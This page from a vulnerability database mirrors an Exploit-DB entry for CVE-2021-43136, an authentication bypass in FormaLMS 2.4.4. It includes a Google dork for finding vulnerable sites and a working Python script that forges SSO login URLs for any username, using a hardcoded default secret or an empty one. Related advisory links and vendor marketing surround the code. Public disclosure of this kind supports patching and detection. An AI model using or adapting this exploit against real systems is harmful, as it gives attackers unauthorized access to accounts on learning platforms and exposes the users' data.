Lucene search
K

FormaLMS 2.4.4 - Authentication Bypass

🗓️ 11 Nov 2021 00:00:00Reported by Cristian \'void\' GiustiniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 451 Views

FormaLMS 2.4.4 Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
FormaLMS 2.4.4 - Authentication Bypass Exploit
11 Nov 202100:00
zdt
Circl
CVE-2021-43136
10 Nov 202114:36
circl
CNNVD
FormaLMS 信任管理问题漏洞
10 Nov 202100:00
cnnvd
CVE
CVE-2021-43136
10 Nov 202111:09
cve
Cvelist
CVE-2021-43136
10 Nov 202111:09
cvelist
NVD
CVE-2021-43136
10 Nov 202112:15
nvd
OpenVAS
Forma LMS <= 2.4.4 Improper Authentication Vulnerability
28 Dec 202200:00
openvas
OSV
CVE-2021-43136
10 Nov 202112:15
osv
Packet Storm
FormaLMS 2.4.4 Authentication Bypass
11 Nov 202100:00
packetstorm
Prion
Authentication flaw
10 Nov 202112:15
prion
Rows per page
# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
# Google Dork: inurl:index.php?r=adm/
# Date: 2021-11-10
# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
# Vendor Homepage: https://formalms.org
# Software Link:  https://formalms.org
# Version: <= 2.4.4
# Tested on: Linux
# CVE : CVE-2021-43136

# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.

# Analysis:
https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/

# Nuclei template:
https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml

#!/usr/bin/env python

"""

The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled

"""

import sys
import time
import hashlib

secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c" 

 def help():

  print(f"Usage: {sys.argv[0]} username target_url")

  sys.exit()

 
if len(sys.argv) < 3:

    help()

user, url = (sys.argv[1], sys.argv[2])
t = str(int(time.time()) + 5000)
token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with default secret: {final_url}")
token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
print(f"URL with empty secret: {final_url}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Nov 2021 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 26.8
CVSS 3.19.8
EPSS0.1324
451